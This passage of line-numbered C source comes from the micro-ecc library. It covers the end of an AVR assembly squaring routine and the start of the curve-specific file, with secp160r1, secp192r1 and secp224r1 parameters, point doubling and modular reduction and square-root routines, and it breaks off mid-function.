21003 "add r23, r0 \n\t" \
21004 "adc r28, r1 \n\t" \
21005 "adc r29, r25 \n\t" \
21006 "mul r7, r10 \n\t" \
21007 "add r23, r0 \n\t" \
21008 "adc r28, r1 \n\t" \
21009 "adc r29, r25 \n\t" \
21010 "mul r8, r9 \n\t" \
21011 "add r23, r0 \n\t" \
21012 "adc r28, r1 \n\t" \
21013 "adc r29, r25 \n\t" \
21014 "lsl r23 \n\t" \
21015 "rol r28 \n\t" \
21016 "rol r29 \n\t" \
21017 "add r23, r24 \n\t" \
21018 "adc r28, r22 \n\t" \
21019 "adc r29, r25 \n\t" \
21020 "st z+, r23 \n\t" \
21021 \
21022 "ldi r22, 0 \n\t" \
21023 "mul r5, r13 \n\t" \
21024 "mov r23, r0 \n\t" \
21025 "mov r24, r1 \n\t" \
21026 "mul r6, r12 \n\t" \
21027 "add r23, r0 \n\t" \
21028 "adc r24, r1 \n\t" \
21029 "adc r22, r25 \n\t" \
21030 "mul r7, r11 \n\t" \
21031 "add r23, r0 \n\t" \
21032 "adc r24, r1 \n\t" \
21033 "adc r22, r25 \n\t" \
21034 "mul r8, r10 \n\t" \
21035 "add r23, r0 \n\t" \
21036 "adc r24, r1 \n\t" \
21037 "adc r22, r25 \n\t" \
21038 "lsl r23 \n\t" \
21039 "rol r24 \n\t" \
21040 "rol r22 \n\t" \
21041 "mul r9, r9 \n\t" \
21042 "add r23, r0 \n\t" \
21043 "adc r24, r1 \n\t" \
21044 "adc r22, r25 \n\t" \
21045 "add r23, r28 \n\t" \
21046 "adc r24, r29 \n\t" \
21047 "adc r22, r25 \n\t" \
21048 "st z+, r23 \n\t" \
21049 \
21050 "ldi r29, 0 \n\t" \
21051 "mul r6, r13 \n\t" \
21052 "mov r23, r0 \n\t" \
21053 "mov r28, r1 \n\t" \
21054 "mul r7, r12 \n\t" \
21055 "add r23, r0 \n\t" \
21056 "adc r28, r1 \n\t" \
21057 "adc r29, r25 \n\t" \
21058 "mul r8, r11 \n\t" \
21059 "add r23, r0 \n\t" \
21060 "adc r28, r1 \n\t" \
21061 "adc r29, r25 \n\t" \
21062 "mul r9, r10 \n\t" \
21063 "add r23, r0 \n\t" \
21064 "adc r28, r1 \n\t" \
21065 "adc r29, r25 \n\t" \
21066 "lsl r23 \n\t" \
21067 "rol r28 \n\t" \
21068 "rol r29 \n\t" \
21069 "add r23, r24 \n\t" \
21070 "adc r28, r22 \n\t" \
21071 "adc r29, r25 \n\t" \
21072 "st z+, r23 \n\t" \
21073 \
21074 "ldi r22, 0 \n\t" \
21075 "mul r7, r13 \n\t" \
21076 "mov r23, r0 \n\t" \
21077 "mov r24, r1 \n\t" \
21078 "mul r8, r12 \n\t" \
21079 "add r23, r0 \n\t" \
21080 "adc r24, r1 \n\t" \
21081 "adc r22, r25 \n\t" \
21082 "mul r9, r11 \n\t" \
21083 "add r23, r0 \n\t" \
21084 "adc r24, r1 \n\t" \
21085 "adc r22, r25 \n\t" \
21086 "lsl r23 \n\t" \
21087 "rol r24 \n\t" \
21088 "rol r22 \n\t" \
21089 "mul r10, r10 \n\t" \
21090 "add r23, r0 \n\t" \
21091 "adc r24, r1 \n\t" \
21092 "adc r22, r25 \n\t" \
21093 "add r23, r28 \n\t" \
21094 "adc r24, r29 \n\t" \
21095 "adc r22, r25 \n\t" \
21096 "st z+, r23 \n\t" \
21097 \
21098 "ldi r29, 0 \n\t" \
21099 "mul r8, r13 \n\t" \
21100 "mov r23, r0 \n\t" \
21101 "mov r28, r1 \n\t" \
21102 "mul r9, r12 \n\t" \
21103 "add r23, r0 \n\t" \
21104 "adc r28, r1 \n\t" \
21105 "adc r29, r25 \n\t" \
21106 "mul r10, r11 \n\t" \
21107 "add r23, r0 \n\t" \
21108 "adc r28, r1 \n\t" \
21109 "adc r29, r25 \n\t" \
21110 "lsl r23 \n\t" \
21111 "rol r28 \n\t" \
21112 "rol r29 \n\t" \
21113 "add r23, r24 \n\t" \
21114 "adc r28, r22 \n\t" \
21115 "adc r29, r25 \n\t" \
21116 "st z+, r23 \n\t" \
21117 \
21118 "ldi r22, 0 \n\t" \
21119 "mul r9, r13 \n\t" \
21120 "mov r23, r0 \n\t" \
21121 "mov r24, r1 \n\t" \
21122 "mul r10, r12 \n\t" \
21123 "add r23, r0 \n\t" \
21124 "adc r24, r1 \n\t" \
21125 "adc r22, r25 \n\t" \
21126 "lsl r23 \n\t" \
21127 "rol r24 \n\t" \
21128 "rol r22 \n\t" \
21129 "mul r11, r11 \n\t" \
21130 "add r23, r0 \n\t" \
21131 "adc r24, r1 \n\t" \
21132 "adc r22, r25 \n\t" \
21133 "add r23, r28 \n\t" \
21134 "adc r24, r29 \n\t" \
21135 "adc r22, r25 \n\t" \
21136 "st z+, r23 \n\t" \
21137 \
21138 "ldi r29, 0 \n\t" \
21139 "mul r10, r13 \n\t" \
21140 "mov r23, r0 \n\t" \
21141 "mov r28, r1 \n\t" \
21142 "mul r11, r12 \n\t" \
21143 "add r23, r0 \n\t" \
21144 "adc r28, r1 \n\t" \
21145 "adc r29, r25 \n\t" \
21146 "lsl r23 \n\t" \
21147 "rol r28 \n\t" \
21148 "rol r29 \n\t" \
21149 "add r23, r24 \n\t" \
21150 "adc r28, r22 \n\t" \
21151 "adc r29, r25 \n\t" \
21152 "st z+, r23 \n\t" \
21153 \
21154 "ldi r23, 0 \n\t" \
21155 "mul r11, r13 \n\t" \
21156 "add r28, r0 \n\t" \
21157 "adc r29, r1 \n\t" \
21158 "adc r23, r25 \n\t" \
21159 "add r28, r0 \n\t" \
21160 "adc r29, r1 \n\t" \
21161 "adc r23, r25 \n\t" \
21162 "mul r12, r12 \n\t" \
21163 "add r28, r0 \n\t" \
21164 "adc r29, r1 \n\t" \
21165 "adc r23, r25 \n\t" \
21166 "st z+, r28 \n\t" \
21167 \
21168 "ldi r28, 0 \n\t" \
21169 "mul r12, r13 \n\t" \
21170 "add r29, r0 \n\t" \
21171 "adc r23, r1 \n\t" \
21172 "adc r28, r25 \n\t" \
21173 "add r29, r0 \n\t" \
21174 "adc r23, r1 \n\t" \
21175 "adc r28, r25 \n\t" \
21176 "st z+, r29 \n\t" \
21177 \
21178 "mul r13, r13 \n\t" \
21179 "add r23, r0 \n\t" \
21180 "adc r28, r1 \n\t" \
21181 "st z+, r23 \n\t" \
21182 "st z+, r28 \n\t" \
21183 "eor r1, r1 \n\t"
21184
21185 #endif /* _UECC_ASM_AVR_MULT_SQUARE_H_ */
0 /* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */
1
2 #ifndef _UECC_CURVE_SPECIFIC_H_
3 #define _UECC_CURVE_SPECIFIC_H_
4
5 #define num_bytes_secp160r1 20
6 #define num_bytes_secp192r1 24
7 #define num_bytes_secp224r1 28
8 #define num_bytes_secp256r1 32
9 #define num_bytes_secp256k1 32
10
11 #if (uECC_WORD_SIZE == 1)
12
13 #define num_words_secp160r1 20
14 #define num_words_secp192r1 24
15 #define num_words_secp224r1 28
16 #define num_words_secp256r1 32
17 #define num_words_secp256k1 32
18
19 #define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) \
20 0x##a, 0x##b, 0x##c, 0x##d, 0x##e, 0x##f, 0x##g, 0x##h
21 #define BYTES_TO_WORDS_4(a, b, c, d) 0x##a, 0x##b, 0x##c, 0x##d
22
23 #elif (uECC_WORD_SIZE == 4)
24
25 #define num_words_secp160r1 5
26 #define num_words_secp192r1 6
27 #define num_words_secp224r1 7
28 #define num_words_secp256r1 8
29 #define num_words_secp256k1 8
30
31 #define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) 0x##d##c##b##a, 0x##h##g##f##e
32 #define BYTES_TO_WORDS_4(a, b, c, d) 0x##d##c##b##a
33
34 #elif (uECC_WORD_SIZE == 8)
35
36 #define num_words_secp160r1 3
37 #define num_words_secp192r1 3
38 #define num_words_secp224r1 4
39 #define num_words_secp256r1 4
40 #define num_words_secp256k1 4
41
42 #define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) 0x##h##g##f##e##d##c##b##a##ull
43 #define BYTES_TO_WORDS_4(a, b, c, d) 0x##d##c##b##a##ull
44
45 #endif /* uECC_WORD_SIZE */
46
47 #if uECC_SUPPORTS_secp160r1 || uECC_SUPPORTS_secp192r1 || \
48 uECC_SUPPORTS_secp224r1 || uECC_SUPPORTS_secp256r1
49 static void double_jacobian_default(uECC_word_t * X1,
50 uECC_word_t * Y1,
51 uECC_word_t * Z1,
52 uECC_Curve curve) {
53 /* t1 = X, t2 = Y, t3 = Z */
54 uECC_word_t t4[uECC_MAX_WORDS];
55 uECC_word_t t5[uECC_MAX_WORDS];
56 wordcount_t num_words = curve->num_words;
57
58 if (uECC_vli_isZero(Z1, num_words)) {
59 return;
60 }
61
62 uECC_vli_modSquare_fast(t4, Y1, curve); /* t4 = y1^2 */
63 uECC_vli_modMult_fast(t5, X1, t4, curve); /* t5 = x1*y1^2 = A */
64 uECC_vli_modSquare_fast(t4, t4, curve); /* t4 = y1^4 */
65 uECC_vli_modMult_fast(Y1, Y1, Z1, curve); /* t2 = y1*z1 = z3 */
66 uECC_vli_modSquare_fast(Z1, Z1, curve); /* t3 = z1^2 */
67
68 uECC_vli_modAdd(X1, X1, Z1, curve->p, num_words); /* t1 = x1 + z1^2 */
69 uECC_vli_modAdd(Z1, Z1, Z1, curve->p, num_words); /* t3 = 2*z1^2 */
70 uECC_vli_modSub(Z1, X1, Z1, curve->p, num_words); /* t3 = x1 - z1^2 */
71 uECC_vli_modMult_fast(X1, X1, Z1, curve); /* t1 = x1^2 - z1^4 */
72
73 uECC_vli_modAdd(Z1, X1, X1, curve->p, num_words); /* t3 = 2*(x1^2 - z1^4) */
74 uECC_vli_modAdd(X1, X1, Z1, curve->p, num_words); /* t1 = 3*(x1^2 - z1^4) */
75 if (uECC_vli_testBit(X1, 0)) {
76 uECC_word_t l_carry = uECC_vli_add(X1, X1, curve->p, num_words);
77 uECC_vli_rshift1(X1, num_words);
78 X1[num_words - 1] |= l_carry << (uECC_WORD_BITS - 1);
79 } else {
80 uECC_vli_rshift1(X1, num_words);
81 }
82 /* t1 = 3/2*(x1^2 - z1^4) = B */
83
84 uECC_vli_modSquare_fast(Z1, X1, curve); /* t3 = B^2 */
85 uECC_vli_modSub(Z1, Z1, t5, curve->p, num_words); /* t3 = B^2 - A */
86 uECC_vli_modSub(Z1, Z1, t5, curve->p, num_words); /* t3 = B^2 - 2A = x3 */
87 uECC_vli_modSub(t5, t5, Z1, curve->p, num_words); /* t5 = A - x3 */
88 uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = B * (A - x3) */
89 uECC_vli_modSub(t4, X1, t4, curve->p, num_words); /* t4 = B * (A - x3) - y1^4 = y3 */
90
91 uECC_vli_set(X1, Z1, num_words);
92 uECC_vli_set(Z1, Y1, num_words);
93 uECC_vli_set(Y1, t4, num_words);
94 }
95
96 /* Computes result = x^3 + ax + b. result must not overlap x. */
97 static void x_side_default(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve) {
98 uECC_word_t _3[uECC_MAX_WORDS] = {3}; /* -a = 3 */
99 wordcount_t num_words = curve->num_words;
100
101 uECC_vli_modSquare_fast(result, x, curve); /* r = x^2 */
102 uECC_vli_modSub(result, result, _3, curve->p, num_words); /* r = x^2 - 3 */
103 uECC_vli_modMult_fast(result, result, x, curve); /* r = x^3 - 3x */
104 uECC_vli_modAdd(result, result, curve->b, curve->p, num_words); /* r = x^3 - 3x + b */
105 }
106 #endif /* uECC_SUPPORTS_secp... */
107
108 #if uECC_SUPPORT_COMPRESSED_POINT
109 #if uECC_SUPPORTS_secp160r1 || uECC_SUPPORTS_secp192r1 || \
110 uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1
111 /* Compute a = sqrt(a) (mod curve_p). */
112 static void mod_sqrt_default(uECC_word_t *a, uECC_Curve curve) {
113 bitcount_t i;
114 uECC_word_t p1[uECC_MAX_WORDS] = {1};
115 uECC_word_t l_result[uECC_MAX_WORDS] = {1};
116 wordcount_t num_words = curve->num_words;
117
118 /* When curve->p == 3 (mod 4), we can compute
119 sqrt(a) = a^((curve->p + 1) / 4) (mod curve->p). */
120 uECC_vli_add(p1, curve->p, p1, num_words); /* p1 = curve_p + 1 */
121 for (i = uECC_vli_numBits(p1, num_words) - 1; i > 1; --i) {
122 uECC_vli_modSquare_fast(l_result, l_result, curve);
123 if (uECC_vli_testBit(p1, i)) {
124 uECC_vli_modMult_fast(l_result, l_result, a, curve);
125 }
126 }
127 uECC_vli_set(a, l_result, num_words);
128 }
129 #endif /* uECC_SUPPORTS_secp... */
130 #endif /* uECC_SUPPORT_COMPRESSED_POINT */
131
132 #if uECC_SUPPORTS_secp160r1
133
134 #if (uECC_OPTIMIZATION_LEVEL > 0)
135 static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product);
136 #endif
137
138 static const struct uECC_Curve_t curve_secp160r1 = {
139 num_words_secp160r1,
140 num_bytes_secp160r1,
141 161, /* num_n_bits */
142 { BYTES_TO_WORDS_8(FF, FF, FF, 7F, FF, FF, FF, FF),
143 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
144 BYTES_TO_WORDS_4(FF, FF, FF, FF) },
145 { BYTES_TO_WORDS_8(57, 22, 75, CA, D3, AE, 27, F9),
146 BYTES_TO_WORDS_8(C8, F4, 01, 00, 00, 00, 00, 00),
147 BYTES_TO_WORDS_8(00, 00, 00, 00, 01, 00, 00, 00) },
148 { BYTES_TO_WORDS_8(82, FC, CB, 13, B9, 8B, C3, 68),
149 BYTES_TO_WORDS_8(89, 69, 64, 46, 28, 73, F5, 8E),
150 BYTES_TO_WORDS_4(68, B5, 96, 4A),
151
152 BYTES_TO_WORDS_8(32, FB, C5, 7A, 37, 51, 23, 04),
153 BYTES_TO_WORDS_8(12, C9, DC, 59, 7D, 94, 68, 31),
154 BYTES_TO_WORDS_4(55, 28, A6, 23) },
155 { BYTES_TO_WORDS_8(45, FA, 65, C5, AD, D4, D4, 81),
156 BYTES_TO_WORDS_8(9F, F8, AC, 65, 8B, 7A, BD, 54),
157 BYTES_TO_WORDS_4(FC, BE, 97, 1C) },
158 &double_jacobian_default,
159 #if uECC_SUPPORT_COMPRESSED_POINT
160 &mod_sqrt_default,
161 #endif
162 &x_side_default,
163 #if (uECC_OPTIMIZATION_LEVEL > 0)
164 &vli_mmod_fast_secp160r1
165 #endif
166 };
167
168 uECC_Curve uECC_secp160r1(void) { return &curve_secp160r1; }
169
170 #if (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp160r1)
171 /* Computes result = product % curve_p
172 see http://www.isys.uni-klu.ac.at/PDF/2001-0126-MT.pdf page 354
173
174 Note that this only works if log2(omega) < log2(p) / 2 */
175 static void omega_mult_secp160r1(uECC_word_t *result, const uECC_word_t *right);
176 #if uECC_WORD_SIZE == 8
177 static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) {
178 uECC_word_t tmp[2 * num_words_secp160r1];
179 uECC_word_t copy;
180
181 uECC_vli_clear(tmp, num_words_secp160r1);
182 uECC_vli_clear(tmp + num_words_secp160r1, num_words_secp160r1);
183
184 omega_mult_secp160r1(tmp, product + num_words_secp160r1 - 1); /* (Rq, q) = q * c */
185
186 product[num_words_secp160r1 - 1] &= 0xffffffff;
187 copy = tmp[num_words_secp160r1 - 1];
188 tmp[num_words_secp160r1 - 1] &= 0xffffffff;
189 uECC_vli_add(result, product, tmp, num_words_secp160r1); /* (C, r) = r + q */
190 uECC_vli_clear(product, num_words_secp160r1);
191 tmp[num_words_secp160r1 - 1] = copy;
192 omega_mult_secp160r1(product, tmp + num_words_secp160r1 - 1); /* Rq*c */
193 uECC_vli_add(result, result, product, num_words_secp160r1); /* (C1, r) = r + Rq*c */
194
195 while (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, num_words_secp160r1) > 0) {
196 uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1);
197 }
198 }
199
200 static void omega_mult_secp160r1(uint64_t *result, const uint64_t *right) {
201 uint32_t carry;
202 unsigned i;
203
204 /* Multiply by (2^31 + 1). */
205 carry = 0;
206 for (i = 0; i < num_words_secp160r1; ++i) {
207 uint64_t tmp = (right[i] >> 32) | (right[i + 1] << 32);
208 result[i] = (tmp << 31) + tmp + carry;
209 carry = (tmp >> 33) + (result[i] < tmp || (carry && result[i] == tmp));
210 }
211 result[i] = carry;
212 }
213 #else
214 static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) {
215 uECC_word_t tmp[2 * num_words_secp160r1];
216 uECC_word_t carry;
217
218 uECC_vli_clear(tmp, num_words_secp160r1);
219 uECC_vli_clear(tmp + num_words_secp160r1, num_words_secp160r1);
220
221 omega_mult_secp160r1(tmp, product + num_words_secp160r1); /* (Rq, q) = q * c */
222
223 carry = uECC_vli_add(result, product, tmp, num_words_secp160r1); /* (C, r) = r + q */
224 uECC_vli_clear(product, num_words_secp160r1);
225 omega_mult_secp160r1(product, tmp + num_words_secp160r1); /* Rq*c */
226 carry += uECC_vli_add(result, result, product, num_words_secp160r1); /* (C1, r) = r + Rq*c */
227
228 while (carry > 0) {
229 --carry;
230 uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1);
231 }
232 if (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, num_words_secp160r1) > 0) {
233 uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1);
234 }
235 }
236 #endif
237
238 #if uECC_WORD_SIZE == 1
239 static void omega_mult_secp160r1(uint8_t *result, const uint8_t *right) {
240 uint8_t carry;
241 uint8_t i;
242
243 /* Multiply by (2^31 + 1). */
244 uECC_vli_set(result + 4, right, num_words_secp160r1); /* 2^32 */
245 uECC_vli_rshift1(result + 4, num_words_secp160r1); /* 2^31 */
246 result[3] = right[0] << 7; /* get last bit from shift */
247
248 carry = uECC_vli_add(result, result, right, num_words_secp160r1); /* 2^31 + 1 */
249 for (i = num_words_secp160r1; carry; ++i) {
250 uint16_t sum = (uint16_t)result[i] + carry;
251 result[i] = (uint8_t)sum;
252 carry = sum >> 8;
253 }
254 }
255 #elif uECC_WORD_SIZE == 4
256 static void omega_mult_secp160r1(uint32_t *result, const uint32_t *right) {
257 uint32_t carry;
258 unsigned i;
259
260 /* Multiply by (2^31 + 1). */
261 uECC_vli_set(result + 1, right, num_words_secp160r1); /* 2^32 */
262 uECC_vli_rshift1(result + 1, num_words_secp160r1); /* 2^31 */
263 result[0] = right[0] << 31; /* get last bit from shift */
264
265 carry = uECC_vli_add(result, result, right, num_words_secp160r1); /* 2^31 + 1 */
266 for (i = num_words_secp160r1; carry; ++i) {
267 uint64_t sum = (uint64_t)result[i] + carry;
268 result[i] = (uint32_t)sum;
269 carry = sum >> 32;
270 }
271 }
272 #endif /* uECC_WORD_SIZE */
273 #endif /* (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp160r1) */
274
275 #endif /* uECC_SUPPORTS_secp160r1 */
276
277 #if uECC_SUPPORTS_secp192r1
278
279 #if (uECC_OPTIMIZATION_LEVEL > 0)
280 static void vli_mmod_fast_secp192r1(uECC_word_t *result, uECC_word_t *product);
281 #endif
282
283 static const struct uECC_Curve_t curve_secp192r1 = {
284 num_words_secp192r1,
285 num_bytes_secp192r1,
286 192, /* num_n_bits */
287 { BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
288 BYTES_TO_WORDS_8(FE, FF, FF, FF, FF, FF, FF, FF),
289 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) },
290 { BYTES_TO_WORDS_8(31, 28, D2, B4, B1, C9, 6B, 14),
291 BYTES_TO_WORDS_8(36, F8, DE, 99, FF, FF, FF, FF),
292 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) },
293 { BYTES_TO_WORDS_8(12, 10, FF, 82, FD, 0A, FF, F4),
294 BYTES_TO_WORDS_8(00, 88, A1, 43, EB, 20, BF, 7C),
295 BYTES_TO_WORDS_8(F6, 90, 30, B0, 0E, A8, 8D, 18),
296
297 BYTES_TO_WORDS_8(11, 48, 79, 1E, A1, 77, F9, 73),
298 BYTES_TO_WORDS_8(D5, CD, 24, 6B, ED, 11, 10, 63),
299 BYTES_TO_WORDS_8(78, DA, C8, FF, 95, 2B, 19, 07) },
300 { BYTES_TO_WORDS_8(B1, B9, 46, C1, EC, DE, B8, FE),
301 BYTES_TO_WORDS_8(49, 30, 24, 72, AB, E9, A7, 0F),
302 BYTES_TO_WORDS_8(E7, 80, 9C, E5, 19, 05, 21, 64) },
303 &double_jacobian_default,
304 #if uECC_SUPPORT_COMPRESSED_POINT
305 &mod_sqrt_default,
306 #endif
307 &x_side_default,
308 #if (uECC_OPTIMIZATION_LEVEL > 0)
309 &vli_mmod_fast_secp192r1
310 #endif
311 };
312
313 uECC_Curve uECC_secp192r1(void) { return &curve_secp192r1; }
314
315 #if (uECC_OPTIMIZATION_LEVEL > 0)
316 /* Computes result = product % curve_p.
317 See algorithm 5 and 6 from http://www.isys.uni-klu.ac.at/PDF/2001-0126-MT.pdf */
318 #if uECC_WORD_SIZE == 1
319 static void vli_mmod_fast_secp192r1(uint8_t *result, uint8_t *product) {
320 uint8_t tmp[num_words_secp192r1];
321 uint8_t carry;
322
323 uECC_vli_set(result, product, num_words_secp192r1);
324
325 uECC_vli_set(tmp, &product[24], num_words_secp192r1);
326 carry = uECC_vli_add(result, result, tmp, num_words_secp192r1);
327
328 tmp[0] = tmp[1] = tmp[2] = tmp[3] = tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0;
329 tmp[8] = product[24]; tmp[9] = product[25]; tmp[10] = product[26]; tmp[11] = product[27];
330 tmp[12] = product[28]; tmp[13] = product[29]; tmp[14] = product[30]; tmp[15] = product[31];
331 tmp[16] = product[32]; tmp[17] = product[33]; tmp[18] = product[34]; tmp[19] = product[35];
332 tmp[20] = product[36]; tmp[21] = product[37]; tmp[22] = product[38]; tmp[23] = product[39];
333 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
334
335 tmp[0] = tmp[8] = product[40];
336 tmp[1] = tmp[9] = product[41];
337 tmp[2] = tmp[10] = product[42];
338 tmp[3] = tmp[11] = product[43];
339 tmp[4] = tmp[12] = product[44];
340 tmp[5] = tmp[13] = product[45];
341 tmp[6] = tmp[14] = product[46];
342 tmp[7] = tmp[15] = product[47];
343 tmp[16] = tmp[17] = tmp[18] = tmp[19] = tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0;
344 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
345
346 while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) {
347 carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1);
348 }
349 }
350 #elif uECC_WORD_SIZE == 4
351 static void vli_mmod_fast_secp192r1(uint32_t *result, uint32_t *product) {
352 uint32_t tmp[num_words_secp192r1];
353 int carry;
354
355 uECC_vli_set(result, product, num_words_secp192r1);
356
357 uECC_vli_set(tmp, &product[6], num_words_secp192r1);
358 carry = uECC_vli_add(result, result, tmp, num_words_secp192r1);
359
360 tmp[0] = tmp[1] = 0;
361 tmp[2] = product[6];
362 tmp[3] = product[7];
363 tmp[4] = product[8];
364 tmp[5] = product[9];
365 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
366
367 tmp[0] = tmp[2] = product[10];
368 tmp[1] = tmp[3] = product[11];
369 tmp[4] = tmp[5] = 0;
370 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
371
372 while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) {
373 carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1);
374 }
375 }
376 #else
377 static void vli_mmod_fast_secp192r1(uint64_t *result, uint64_t *product) {
378 uint64_t tmp[num_words_secp192r1];
379 int carry;
380
381 uECC_vli_set(result, product, num_words_secp192r1);
382
383 uECC_vli_set(tmp, &product[3], num_words_secp192r1);
384 carry = (int)uECC_vli_add(result, result, tmp, num_words_secp192r1);
385
386 tmp[0] = 0;
387 tmp[1] = product[3];
388 tmp[2] = product[4];
389 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
390
391 tmp[0] = tmp[1] = product[5];
392 tmp[2] = 0;
393 carry += uECC_vli_add(result, result, tmp, num_words_secp192r1);
394
395 while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) {
396 carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1);
397 }
398 }
399 #endif /* uECC_WORD_SIZE */
400 #endif /* (uECC_OPTIMIZATION_LEVEL > 0) */
401
402 #endif /* uECC_SUPPORTS_secp192r1 */
403
404 #if uECC_SUPPORTS_secp224r1
405
406 #if uECC_SUPPORT_COMPRESSED_POINT
407 static void mod_sqrt_secp224r1(uECC_word_t *a, uECC_Curve curve);
408 #endif
409 #if (uECC_OPTIMIZATION_LEVEL > 0)
410 static void vli_mmod_fast_secp224r1(uECC_word_t *result, uECC_word_t *product);
411 #endif
412
413 static const struct uECC_Curve_t curve_secp224r1 = {
414 num_words_secp224r1,
415 num_bytes_secp224r1,
416 224, /* num_n_bits */
417 { BYTES_TO_WORDS_8(01, 00, 00, 00, 00, 00, 00, 00),
418 BYTES_TO_WORDS_8(00, 00, 00, 00, FF, FF, FF, FF),
419 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
420 BYTES_TO_WORDS_4(FF, FF, FF, FF) },
421 { BYTES_TO_WORDS_8(3D, 2A, 5C, 5C, 45, 29, DD, 13),
422 BYTES_TO_WORDS_8(3E, F0, B8, E0, A2, 16, FF, FF),
423 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
424 BYTES_TO_WORDS_4(FF, FF, FF, FF) },
425 { BYTES_TO_WORDS_8(21, 1D, 5C, 11, D6, 80, 32, 34),
426 BYTES_TO_WORDS_8(22, 11, C2, 56, D3, C1, 03, 4A),
427 BYTES_TO_WORDS_8(B9, 90, 13, 32, 7F, BF, B4, 6B),
428 BYTES_TO_WORDS_4(BD, 0C, 0E, B7),
429
430 BYTES_TO_WORDS_8(34, 7E, 00, 85, 99, 81, D5, 44),
431 BYTES_TO_WORDS_8(64, 47, 07, 5A, A0, 75, 43, CD),
432 BYTES_TO_WORDS_8(E6, DF, 22, 4C, FB, 23, F7, B5),
433 BYTES_TO_WORDS_4(88, 63, 37, BD) },
434 { BYTES_TO_WORDS_8(B4, FF, 55, 23, 43, 39, 0B, 27),
435 BYTES_TO_WORDS_8(BA, D8, BF, D7, B7, B0, 44, 50),
436 BYTES_TO_WORDS_8(56, 32, 41, F5, AB, B3, 04, 0C),
437 BYTES_TO_WORDS_4(85, 0A, 05, B4) },
438 &double_jacobian_default,
439 #if uECC_SUPPORT_COMPRESSED_POINT
440 &mod_sqrt_secp224r1,
441 #endif
442 &x_side_default,
443 #if (uECC_OPTIMIZATION_LEVEL > 0)
444 &vli_mmod_fast_secp224r1
445 #endif
446 };
447
448 uECC_Curve uECC_secp224r1(void) { return &curve_secp224r1; }
449
450
451 #if uECC_SUPPORT_COMPRESSED_POINT
452 /* Routine 3.2.4 RS; from http://www.nsa.gov/ia/_files/nist-routines.pdf */
453 static void mod_sqrt_secp224r1_rs(uECC_word_t *d1,
454 uECC_word_t *e1,
455 uECC_word_t *f1,
456 const uECC_word_t *d0,
457 const uECC_word_t *e0,
458 const uECC_word_t *f0) {
459 uECC_word_t t[num_words_secp224r1];
460
461 uECC_vli_modSquare_fast(t, d0, &curve_secp224r1); /* t <-- d0 ^ 2 */
462 uECC_vli_modMult_fast(e1, d0, e0, &curve_secp224r1); /* e1 <-- d0 * e0 */
463 uECC_vli_modAdd(d1, t, f0, curve_secp224r1.p, num_words_secp224r1); /* d1 <-- t + f0 */
464 uECC_vli_modAdd(e1, e1, e1, curve_secp224r1.p, num_words_secp224r1); /* e1 <-- e1 + e1 */
465 uECC_vli_modMult_fast(f1, t, f0, &curve_secp224r1); /* f1 <-- t * f0 */
466 uECC_vli_modAdd(f1, f1, f1, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- f1 + f1 */
467 uECC_vli_modAdd(f1, f1, f1, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- f1 + f1 */
468 }
469
470 /* Routine 3.2.5 RSS; from http://www.nsa.gov/ia/_files/nist-routines.pdf */
471 static void mod_sqrt_secp224r1_rss(uECC_word_t *d1,
472 uECC_word_t *e1,
473 uECC_word_t *f1,
474 const uECC_word_t *d0,
475 const uECC_word_t *e0,
476 const uECC_word_t *f0,
477 const bitcount_t j) {
478 bitcount_t i;
479
480 uECC_vli_set(d1, d0, num_words_secp224r1); /* d1 <-- d0 */
481 uECC_vli_set(e1, e0, num_words_secp224r1); /* e1 <-- e0 */
482 uECC_vli_set(f1, f0, num_words_secp224r1); /* f1 <-- f0 */
483 for (i = 1; i <= j; i++) {
484 mod_sqrt_secp224r1_rs(d1, e1, f1, d1, e1, f1); /* RS (d1,e1,f1,d1,e1,f1) */
485 }
486 }
487
488 /* Routine 3.2.6 RM; from http://www.nsa.gov/ia/_files/nist-routines.pdf */
489 static void mod_sqrt_secp224r1_rm(uECC_word_t *d2,
490 uECC_word_t *e2,
491 uECC_word_t *f2,
492 const uECC_word_t *c,
493 const uECC_word_t *d0,
494 const uECC_word_t *e0,
495 const uECC_word_t *d1,
496 const uECC_word_t *e1) {
497 uECC_word_t t1[num_words_secp224r1];
498 uECC_word_t t2[num_words_secp224r1];
499
